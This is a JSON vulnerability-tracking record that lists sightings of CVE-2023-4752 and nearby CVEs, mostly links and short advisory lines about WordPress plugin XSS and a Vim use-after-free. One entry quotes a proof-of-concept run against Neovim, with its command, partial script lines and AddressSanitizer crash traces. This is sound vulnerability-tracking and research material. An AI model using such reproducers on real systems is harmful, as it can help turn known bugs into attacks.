{"vulnerability": "cve-2023-4752", "sightings": [{"uuid": "e0272933-4faf-4da3-8adc-8810f5d3d732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47523", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ler2nclgsc2a", "content": "", "creation_timestamp": "2025-01-02T12:17:49.944283Z"}, {"uuid": "136cc197-4849-4271-9c5c-ebc911418b85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47523", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113759446238521523", "content": "", "creation_timestamp": "2025-01-02T15:23:14.916137Z"}, {"uuid": "89856ca7-af43-4d25-b1e7-f0e27529daa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47526", "type": "seen", "source": "https://t.me/ctinow/192906", "content": "https://ift.tt/th53cyl\nCVE-2023-47526 | Chartify Plugin up to 2.0.6 on WordPress cross site scripting", "creation_timestamp": "2024-02-25T15:16:22.000000Z"}, {"uuid": "103d4c6e-7eb4-416f-98a1-ba63c68f97db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47525", "type": "seen", "source": "https://bsky.app/profile/allsafeus.bsky.social/post/3madyhyhlrz2j", "content": "", "creation_timestamp": "2025-12-19T15:19:53.304084Z"}, {"uuid": "ef803855-bc4f-402c-bcd4-f6854b2e77c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47525", "type": "seen", "source": "https://t.me/ctinow/157788", "content": "https://ift.tt/PCHMlOD\nCVE-2023-47525", "creation_timestamp": "2023-12-21T16:27:59.000000Z"}, {"uuid": "55b55a52-e7f8-430e-aa7e-6c029dce3629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47526", "type": "seen", "source": "https://t.me/ctinow/182934", "content": "https://ift.tt/pXxtadW\nCVE-2023-47526", "creation_timestamp": "2024-02-12T08:21:23.000000Z"}, {"uuid": "eaf9f963-1ecd-4a0c-8176-6935bc9cc853", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47525", "type": "seen", "source": "https://t.me/ctinow/168012", "content": "https://ift.tt/t5BqCOA\nCVE-2023-47525 | A WP Life Event Monster Plugin up to 1.3.2 on WordPress cross site scripting", "creation_timestamp": "2024-01-14T12:46:53.000000Z"}, {"uuid": "aaab27f9-8281-4bfe-b7b0-99ecaadc958f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47527", "type": "seen", "source": "https://t.me/ctinow/168008", "content": "https://ift.tt/AN13lDa\nCVE-2023-47527 | Sajjad Hossain Sagor WP Edit Username Plugin up to 1.0.5 on WordPress cross site scripting", "creation_timestamp": "2024-01-14T12:16:16.000000Z"}, {"uuid": "311f92a3-0dcc-4547-8bcf-78dfef2baec6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47521", "type": "seen", "source": "https://t.me/ctinow/157630", "content": "https://ift.tt/vFZTkMj\nCVE-2023-47521 | Max Bond AndreSC Q2W3 Post Order Plugin up to 1.2.8 on WordPress cross site scripting", "creation_timestamp": "2023-12-21T12:06:20.000000Z"}, {"uuid": "08caf9e5-3c13-4ad4-a0c5-cbb9b21203f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4752", "type": "seen", "source": "https://t.me/cibsecurity/69801", "content": "\u203c CVE-2023-4752 \u203c\n\nUse After Free in GitHub repository vim/vim prior to 9.0.1858.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T18:21:19.000000Z"}, {"uuid": "74a2bf8d-7b20-41b0-b218-ababbedcc4ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47527", "type": "seen", "source": "https://t.me/ctinow/157789", "content": "https://ift.tt/KURBLJu\nCVE-2023-47527", "creation_timestamp": "2023-12-21T16:28:00.000000Z"}, {"uuid": "b21e282c-4904-452d-8661-c0d969e3dafa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4752", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/e26ec2546b365e6b82736c7c283fc9ac", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752)\nExecuting: so CVE-2023-4752.dat\n\nline 0: sourcing \"CVE-2023-4752.dat\"\nline 1: fu s:Tag0unc0(t,f,o)\n\nline 4: se tagfunc=s:Tag0unc0\n\nline 5: n0\n\nline 5: unlet! b:keymap_name\n\nline 6: sil0norm0i^P\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752/CVE-2023-4752.dat:\nline    6:\nE987: invalid return value from tagfunc=================================================================\n==5368==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000006499 at pc 0x000000812511 bp 0x7fffd670d9c0 sp 0x7fffd670d9b8\nREAD of size 1 at 0x602000006499 thread T0\n    #0 0x812510 in process_next_cpt_value /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:2838:10\n    #1 0x812177 in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3324:20\n    #2 0x811a93 in find_next_completion_match /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3539:22\n    #3 0x80f114 in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3634:7\n    #4 0x80f450 in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:4342:7\n    #5 0x673625 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1198:7\n    #6 0x674697 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c\n    #7 0x669473 in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:676:10\n    #8 0xa6e4c5 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:99:26\n    #9 0x66b3e7 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:336:5\n    #10 0x668c38 in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1275:3\n    #11 0x9035d0 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6288:7\n    #12 0x8f8e37 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6265:5\n    #13 0x8f241e in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1210:3\n    #14 0x8f1478 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6658:9\n    #15 0x75e5f3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6497:5\n    #16 0x75e489 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6480:3\n    #17 0x763467 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6412:7\n    #18 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #20 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #21 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #22 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #23 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #24 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #25 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #26 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #27 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #28 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #29 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #30 0x7f4165870082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #31 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x602000006499 is located 9 bytes inside of 10-byte region [0x602000006490,0x60200000649a)\nfreed by thread T0 here:\n    #0 0x4e042d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e042d)\n    #1 0x8a07c9 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:134:3\n    #2 0x95195c in clear_string_option /home/zzw/Desktop/neovim/build/../src/nvim/optionstr.c:288:5\n    #3 0x5e23fb in free_buf_options /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2003:3\n    #4 0x5dbbdb in free_buffer_stuff /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:891:5\n    #5 0x5db89a in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:839:3\n    #6 0x5d9279 in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:696:5\n    #7 0x5dfe32 in empty_curbuf /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1155:5\n    #8 0x5dd1e3 in do_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1327:14\n    #9 0x5df086 in do_bufdel /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1034:11\n    #10 0x75f87d in ex_bunload /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4277:17\n    #11 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #12 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #13 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #14 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #15 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #16 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #17 0x692e21 in callback_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:5592:10\n    #18 0xaa7449 in find_tagfunc_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1268:12\n    #19 0xaa4104 in findtags_apply_tfu /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1531:16\n    #20 0xa9ef0e in find_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:2390:12\n    #21 0x813250 in get_next_tag_completion /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:2973:7\n    #22 0x812b88 in get_next_completion_match /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3245:5\n    #23 0x8121cf in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3340:23\n    #24 0x811a93 in find_next_completion_match /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3539:22\n    #25 0x80f114 in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3634:7\n    #26 0x80f450 in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:4342:7\n    #27 0x673625 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1198:7\n    #28 0x674697 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c\n    #29 0x669473 in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:676:10\n\npreviously allocated by thread T0 here:\n    #0 0x4e06ad in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e06ad)\n    #1 0x8a067a in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:88:15\n    #2 0x8a07a8 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:15\n    #3 0x8a08a7 in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:194:15\n    #4 0x8a0917 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:212:17\n    #5 0x8a0d78 in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:431:10\n    #6 0x944f18 in buf_copy_options /home/zzw/Desktop/neovim/build/../src/nvim/option.c:4412:22\n    #7 0x5de576 in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1856:5\n    #8 0x5e57d2 in buflist_add /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3036:16\n    #9 0x5c4585 in alist_add /home/zzw/Desktop/neovim/build/../src/nvim/arglist.c:217:7\n    #10 0x5c43ec in alist_set /home/zzw/Desktop/neovim/build/../src/nvim/arglist.c:186:7\n    #11 0x5c4d2a in do_arglist /home/zzw/Desktop/neovim/build/../src/nvim/arglist.c:464:7\n    #12 0x5c5c7b in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/arglist.c:693:11\n    #13 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #14 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #15 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #16 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #17 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #18 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #19 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #20 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #21 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #22 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #23 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #24 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #25 0x7f4165870082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:2838:10 in process_next_cpt_value\nShadow bytes around the buggy address:\n  0x0c047fff8c40: fa fa 02 fa fa fa 03 fa fa fa 00 00 fa fa fd fd\n  0x0c047fff8c50: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fd\n  0x0c047fff8c60: fa fa fd fd fa fa fd fd fa fa 00 00 fa fa fd fd\n  0x0c047fff8c70: fa fa 00 03 fa fa fd fd fa fa 00 03 fa fa fd fa\n  0x0c047fff8c80: fa fa 02 fa fa fa fd fa fa fa fd fa fa fa fd fa\n=>0x0c047fff8c90: fa fa fd[fd]fa fa fd fa fa fa fd fa fa fa fd fd\n  0x0c047fff8ca0: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8cb0: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa\n  0x0c047fff8cc0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8cd0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8ce0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==5368==ABORTING\n\n\nCommand:\n./nvim-0.6.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so CVE-2023-4752.dat\n\nline 0: sourcing \"CVE-2023-4752.dat\"\nline 1: fu s:Tag0unc0(t,f,o)\n\nline 4: se tagfunc=s:Tag0unc0\n\nline 5: n0\n\nline 5: unlet! b:keymap_name\n\nline 6: sil0norm0i^P\nError detected while processing /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752/CVE-2023-4752.dat:\nline    6:\nE987: invalid return value from tagfunc=================================================================\n==5418==ERROR: AddressSanitizer: heap-use-after-free on address 0x60200003a319 at pc 0x00000073ccce bp 0x7fffc6b0eed0 sp 0x7fffc6b0eec8\nREAD of size 1 at 0x60200003a319 thread T0\n    #0 0x73cccd in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4182:14\n    #1 0x716b3d in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4755:21\n    #2 0x711abc in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5381:7\n    #3 0x726098 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1346:7\n    #4 0x728cc0 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1264:5\n    #5 0x7013ac in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:821:10\n    #6 0xf25024 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:68:26\n    #7 0x7055e1 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:492:5\n    #8 0x6ff5bd in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1425:3\n    #9 0xc225c8 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7987:7\n    #10 0xc07821 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7964:5\n    #11 0xbfbbea in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1164:3\n    #12 0xbf85f6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:8424:9\n    #13 0x9267d0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8732:5\n    #14 0x926516 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8715:3\n    #15 0x93ff3a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8641:7\n    #16 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #17 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #18 0x8e89fc in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #19 0x8e56d2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #20 0x8e5cb0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #21 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #22 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #23 0x8f7933 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #24 0xabf9ae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #25 0xab7f96 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #26 0x7fa5d5e05082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #27 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x45df4d)\n\n0x60200003a319 is located 9 bytes inside of 10-byte region [0x60200003a310,0x60200003a31a)\nfreed by thread T0 here:\n    #0 0x4d640d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4d640d)\n    #1 0xb5f204 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n    #2 0xca16f8 in clear_string_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:2060:5\n    #3 0x677b6f in free_buf_options /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1925:3\n    #4 0x66b441 in free_buffer_stuff /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:789:5\n    #5 0x66aeab in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:749:3\n    #6 0x66780c in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:610:5\n    #7 0x67353b in empty_curbuf /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1066:5\n    #8 0x66d49e in do_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1232:14\n    #9 0x671cc4 in do_bufdel /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:956:11\n    #10 0x93764d in ex_bunload /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4978:17\n    #11 0x901b90 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #12 0x8f3f92 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #13 0x8722a6 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1114:5\n    #14 0x86ee13 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1580:11\n    #15 0x75330d in call_vim_function /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:1072:9\n    #16 0xf8715f in find_tagfunc_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1186:12\n    #17 0xf76cee in find_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1530:14\n    #18 0x73e2eb in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4312:11\n    #19 0x716b3d in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4755:21\n    #20 0x711abc in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5381:7\n    #21 0x726098 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1346:7\n    #22 0x728cc0 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1264:5\n    #23 0x7013ac in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:821:10\n    #24 0xf25024 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:68:26\n    #25 0x7055e1 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:492:5\n    #26 0x6ff5bd in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1425:3\n    #27 0xc225c8 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7987:7\n    #28 0xc07821 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7964:5\n    #29 0xbfbbea in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1164:3\n\npreviously allocated by thread T0 here:\n    #0 0x4d668d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.0-ASAN+0x4d668d)\n    #1 0xb5ef62 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xb5f124 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0xb5f56d in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:187:15\n    #4 0xb5f5e8 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:205:17\n    #5 0xb5fd3b in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:424:10\n    #6 0xf26c34 in vim_strsave /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:57:20\n    #7 0xcb1a2f in buf_copy_options /home/zzw/Desktop/neovim/build/../src/nvim/option.c:6228:22\n    #8 0x670a98 in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1775:5\n    #9 0x67d486 in buflist_add /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2921:9\n    #10 0x921052 in alist_add /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7080:7\n    #11 0x920e92 in alist_set /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7053:7\n    #12 0x8e06f0 in do_arglist /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:986:7\n    #13 0x8de126 in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1205:11\n    